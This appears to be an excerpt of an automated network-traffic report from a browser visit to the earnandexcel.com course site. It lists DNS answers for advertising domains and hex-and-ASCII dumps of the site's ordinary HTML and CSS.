Apr 11, 2024 23:28:15.444379091 CEST	1.1.1.1	192.168.2.17	0x4e44	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.444379091 CEST	1.1.1.1	192.168.2.17	0x4e44	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.444379091 CEST	1.1.1.1	192.168.2.17	0x4e44	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.444878101 CEST	1.1.1.1	192.168.2.17	0xa6f8	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.444878101 CEST	1.1.1.1	192.168.2.17	0xa6f8	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.444878101 CEST	1.1.1.1	192.168.2.17	0xa6f8	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.450673103 CEST	1.1.1.1	192.168.2.17	0x34ca	No error (0)	event.hgrtb.com		3.238.43.193	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.450673103 CEST	1.1.1.1	192.168.2.17	0x34ca	No error (0)	event.hgrtb.com		44.222.165.137	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.450673103 CEST	1.1.1.1	192.168.2.17	0x34ca	No error (0)	event.hgrtb.com		3.236.188.241	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.451909065 CEST	1.1.1.1	192.168.2.17	0x8292	No error (0)	rtb.mfadsrvr.com	pool.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.451909065 CEST	1.1.1.1	192.168.2.17	0x8292	No error (0)	pool.dorpat.iponweb.net	dorpat.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.451909065 CEST	1.1.1.1	192.168.2.17	0x8292	No error (0)	dorpat.geo.iponweb.net		35.207.24.140	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.452615976 CEST	1.1.1.1	192.168.2.17	0x9e1f	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.452615976 CEST	1.1.1.1	192.168.2.17	0x9e1f	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.452615976 CEST	1.1.1.1	192.168.2.17	0x9e1f	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.452615976 CEST	1.1.1.1	192.168.2.17	0x9e1f	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.452615976 CEST	1.1.1.1	192.168.2.17	0x9e1f	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.453423023 CEST	1.1.1.1	192.168.2.17	0x3b27	No error (0)	rtb.mfadsrvr.com	pool.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.453423023 CEST	1.1.1.1	192.168.2.17	0x3b27	No error (0)	pool.dorpat.iponweb.net	dorpat.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.453821898 CEST	1.1.1.1	192.168.2.17	0xf202	No error (0)	sid.storygize.net		143.244.208.184	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.454087973 CEST	1.1.1.1	192.168.2.17	0x41	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.454260111 CEST	1.1.1.1	192.168.2.17	0x78c9	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.454610109 CEST	1.1.1.1	192.168.2.17	0x2af4	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:39.336740971 CEST	1.1.1.1	192.168.2.17	0x792b	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:39.336740971 CEST	1.1.1.1	192.168.2.17	0x792b	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:39.336740971 CEST	1.1.1.1	192.168.2.17	0x792b	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:39.336927891 CEST	1.1.1.1	192.168.2.17	0xa012	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:39.336927891 CEST	1.1.1.1	192.168.2.17	0xa012	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:39.336927891 CEST	1.1.1.1	192.168.2.17	0xa012	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:39.336927891 CEST	1.1.1.1	192.168.2.17	0xa012	No error (0)	d1jvc9b8z3vcjs.cloudfront.net		108.138.127.64	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:39.823245049 CEST	1.1.1.1	192.168.2.17	0x9582	No error (0)	tlx.3lift.com	us-east-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:39.823543072 CEST	1.1.1.1	192.168.2.17	0xcdb0	No error (0)	tlx.3lift.com	us-east-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:39.823543072 CEST	1.1.1.1	192.168.2.17	0xcdb0	No error (0)	us-east-tlx.3lift.com		3.233.183.24	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:39.823543072 CEST	1.1.1.1	192.168.2.17	0xcdb0	No error (0)	us-east-tlx.3lift.com		3.218.122.15	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:39.823543072 CEST	1.1.1.1	192.168.2.17	0xcdb0	No error (0)	us-east-tlx.3lift.com		3.222.148.106	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:39.823543072 CEST	1.1.1.1	192.168.2.17	0xcdb0	No error (0)	us-east-tlx.3lift.com		107.22.180.23	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:39.823543072 CEST	1.1.1.1	192.168.2.17	0xcdb0	No error (0)	us-east-tlx.3lift.com		34.206.91.202	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49705	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:34 UTC	659	OUT	GET / HTTP/1.1 Host: earnandexcel.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:35 UTC	1301	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e451c520f65-EWR CF-Cache-Status: HIT Age: 549196 Cache-Control: public, max-age=0, s-maxage=2592000 Last-Modified: Fri, 05 Apr 2024 12:53:02 GMT Link: <https://earnandexcel.com/wp-json/>; rel="https://api.w.org/", <https://earnandexcel.com/wp-json/wp/v2/pages/706>; rel="alternate"; type="application/json", <https://earnandexcel.com/>; rel=shortlink Vary: Accept-Encoding accept-ch: Sec-CH-UA-Mobile content-security-policy: block-all-mixed-content ki-Cache-Tag: 2b83a4e6-d195-4d43-8593-11c2c85261d1,8973444835bdf8b5a47f964a6b24818e4c801769a49cae804952e440ed5819b1 ki-cache-type: Edge Ki-CF-Cache-Status: HIT ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 x-kinsta-cache: HIT x-nitro-cache: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FQyLXt%2Bs0ghm6I38GKegdGAdzgP5ikxe30qJYVE2hTbK%2BLLiMDxyXTNhECKVNVUQ2wsfMvuTWmNogOE%2BBgtD8r0ChSAg0fqF7AqWVoaAZ%2FR9jWdOWOKyD3o9mjkdAvYcO94%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:35 UTC	68	IN	Data Raw: 37 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 3e 0a 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 Data Ascii: 7a9b<!DOCTYPE html><html lang="en-US" ><head><meta charset="U
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 3d 20 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 7c 7c 20 27 27 0a 0a 09 09 09 77 69 6e 64 6f 77 2e 6c 69 67 68 74 73 70 65 65 64 4f 70 74 69 6d 69 7a 65 53 74 79 6c 65 73 68 65 65 74 20 3d Data Ascii: TF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><script type="text/javascript">window.flatStyles = window.flatStyles \|\| ''window.lightspeedOptimizeStylesheet =
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 65 74 2e 69 6e 6e 65 72 48 54 4d 4c 0a 0a 09 09 09 09 09 09 09 09 09 74 68 69 73 2e 6f 70 74 69 6d 69 7a 69 6e 67 20 3d 20 66 61 6c 73 65 0a 09 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 3d 20 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 69 6e 6e 65 72 48 54 4d 4c 0a 09 09 09 09 09 09 09 09 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 64 61 74 61 2d 6c 73 2d 6f 70 74 69 6d 69 7a 65 64 27 2c 20 27 31 27 20 29 0a 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d 20 63 61 74 63 68 20 28 20 65 72 72 6f 72 20 29 20 7b 0a 09 09 09 09 09 09 63 6f 6e 73 6f 6c 65 2e 77 61 72 Data Ascii: et.innerHTMLthis.optimizing = false}} else {window.flatStyles = currentStylesheet.innerHTMLcurrentStylesheet.setAttribute( 'data-ls-optimized', '1' )}}} catch ( error ) {console.war
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 38 2e 32 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 53 6b 69 6c 6c 73 20 46 6f 72 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 73 20 2d 20 45 61 72 6e 20 26 61 6d 70 3b 20 45 78 63 65 6c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 Data Ascii: eview:-1' />... This site is optimized with the Yoast SEO plugin v18.2 - https://yoast.com/wordpress/plugins/seo/ --><title>Skills For Professionals - Earn & Excel</title><link rel="canonical" href="https://earnandexcel.com/" /><meta propert
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 61 76 65 20 64 65 76 65 6c 6f 70 65 64 20 68 61 76 65 20 67 69 76 65 6e 20 6d 65 20 74 68 65 20 63 6f 6e 66 69 64 65 6e 63 65 20 74 6f 20 74 61 63 6b 6c 65 20 61 64 76 61 6e 63 65 64 20 70 72 6f 62 6c 65 6d 73 20 69 6e 20 61 6e 20 49 6e 76 65 73 74 6d 65 6e 74 20 42 61 6e 6b 69 6e 67 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 20 55 6e 6c 69 6b 65 20 6f 74 68 65 72 20 63 6f 75 72 73 65 73 2c 20 74 68 65 20 74 75 74 6f 72 69 61 6c 73 20 61 72 65 20 70 72 61 63 74 69 63 61 6c 2c 20 74 6f 20 74 68 65 20 70 6f 69 6e 74 20 61 6e 64 20 61 72 65 20 72 65 6c 65 76 61 6e 74 20 74 6f 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 73 2e 20 49 20 77 6f 75 6c 64 20 68 69 67 68 6c 79 20 72 65 63 6f 6d 6d 65 6e 64 20 74 68 69 73 20 63 6f 75 72 73 65 2e e2 80 9d 20 41 2e 20 53 61 6c Data Ascii: ave developed have given me the confidence to tackle advanced problems in an Investment Banking environment. Unlike other courses, the tutorials are practical, to the point and are relevant to professionals. I would highly recommend this course. A. Sal
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 49 6e 20 4f 75 74 6c 6f 6f 6b 20 48 6f 77 20 54 6f 20 53 65 6e 64 20 41 74 74 61 63 68 6d 65 6e 74 73 20 49 6e 20 4f 75 74 6c 6f 6f 6b 20 48 6f 77 20 54 6f 20 50 72 69 6e 74 20 43 61 6c 65 6e 64 61 72 20 49 6e 20 4f 75 74 6c 6f 6f 6b 20 4a 61 6e 75 61 72 79 20 38 2c 20 32 30 32 31 20 48 6f 77 20 54 6f 20 53 65 61 72 63 68 20 43 61 6c 65 6e 64 61 72 20 49 6e 20 4f 75 74 6c 6f 6f 6b 20 48 6f 77 20 77 65 20 63 61 6e 20 71 75 69 63 6b 6c 79 20 6c 6f 6f 6b 20 66 6f 72 20 74 68 69 6e 67 73 20 6f 72 20 70 65 6f 70 6c 65 20 74 68 61 74 20 26 68 65 6c 6c 69 70 3b 20 52 65 61 64 20 4d 6f 72 65 20 4a 61 6e 75 61 72 79 20 38 2c 20 32 30 32 31 20 54 68 65 20 49 6e 74 72 6f 64 75 63 74 69 6f 6e 20 54 6f 20 41 63 63 65 73 73 20 4d 61 63 72 6f 73 20 57 65 20 68 61 76 65 Data Ascii: In Outlook How To Send Attachments In Outlook How To Print Calendar In Outlook January 8, 2021 How To Search Calendar In Outlook How we can quickly look for things or people that … Read More January 8, 2021 The Introduction To Access Macros We have
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 72 63 68 5f 74 65 72 6d 5f 73 74 72 69 6e 67 22 7d 5d 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 7d 2c 7b 22 40 74 79 70 65 22 3a 22 49 6d 61 67 65 4f 62 6a 65 63 74 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 23 70 72 69 6d 61 72 79 69 6d 61 67 65 22 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 65 64 75 6d 61 6c 6c 2d 73 68 61 70 65 2d 30 31 2e 70 6e 67 22 2c 22 63 6f 6e 74 65 6e 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f Data Ascii: rch_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","@id":"https://earnandexcel.com/#primaryimage","inLanguage":"en-US","url":"https://earnandexcel.com/wp-content/uploads/edumall-shape-01.png","contentUrl":"https://earnandexcel.com/wp-content/
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 78 63 65 6c 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c Data Ascii: xcel » Comments Feed" href="https://earnandexcel.com/comments/feed/" /><link rel='stylesheet' id='wp-block-library-css' href='https://earnandexcel.com/wp-includes/css/dist/block-library/style.min.css' type='text/css' media='all' /><link rel='styl
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 75 74 6f 72 2d 70 72 6f 2d 66 72 6f 6e 74 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 75 74 6f 72 2d 70 72 6f 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 72 6f 6e 74 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 66 6f 6e 74 2d 67 6f 72 64 69 74 61 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 64 75 6d 61 6c 6c 2f 61 73 73 65 Data Ascii: lesheet' id='tutor-pro-front-css' href='https://earnandexcel.com/wp-content/plugins/tutor-pro/assets/css/front.css' type='text/css' media='all' /><link rel='stylesheet' id='font-gordita-css' href='https://earnandexcel.com/wp-content/themes/edumall/asse
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 6f 64 79 2d 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 38 36 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 62 6f 64 79 2d 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 65 6d 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 68 65 61 64 69 6e 67 73 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 69 6e 68 65 72 69 74 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 68 65 61 64 69 6e 67 73 2d 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 68 65 61 Data Ascii: ody-font-weight: 400;--edumall-typography-body-line-height: 1.86;--edumall-typography-body-letter-spacing: 0em;--edumall-typography-headings-font-family: inherit;--edumall-typography-headings-font-weight: ;--edumall-typography-hea

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49708	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:35 UTC	579	OUT	GET /wp-includes/css/dist/block-library/style.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:35 UTC	930	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:35 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e48196a4313-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"606d2c04-e33b" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 07 Apr 2021 03:50:28 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aWtK5L6o7JGdz77U70KBjBVYqCVHoMQYFXb9%2F8BNswiW31376pWShs7G4uQJf5DI1ME%2BD7v4af0pR1R5CTktXQNs8lvZcm%2BcOncw%2FlbWHfB0xXiqh6kfCGlbnou2OtSC%2BoI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:35 UTC	439	IN	Data Raw: 37 63 30 65 0d 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 23 73 74 61 72 74 2d 72 65 73 69 7a 61 62 6c 65 2d 65 64 69 74 6f 72 2d 73 65 63 74 69 6f 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 35 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 61 75 64 69 6f 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 33 30 30 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 Data Ascii: 7c0e@charset "UTF-8";#start-resizable-editor-section{display:none}.wp-block-audio figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-audio audio{width:100%;min-width:300px}.wp-block-button__link{color:#fff;background-color:#32373c;border:none;border
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 68 6f 76 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 2e 61 6c 69 67 6e 72 69 67 68 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 3e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f Data Ascii: tton__link:active,.wp-block-button__link:focus,.wp-block-button__link:hover,.wp-block-button__link:visited{color:#fff}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}.wp-block-buttons>.wp-block-butto
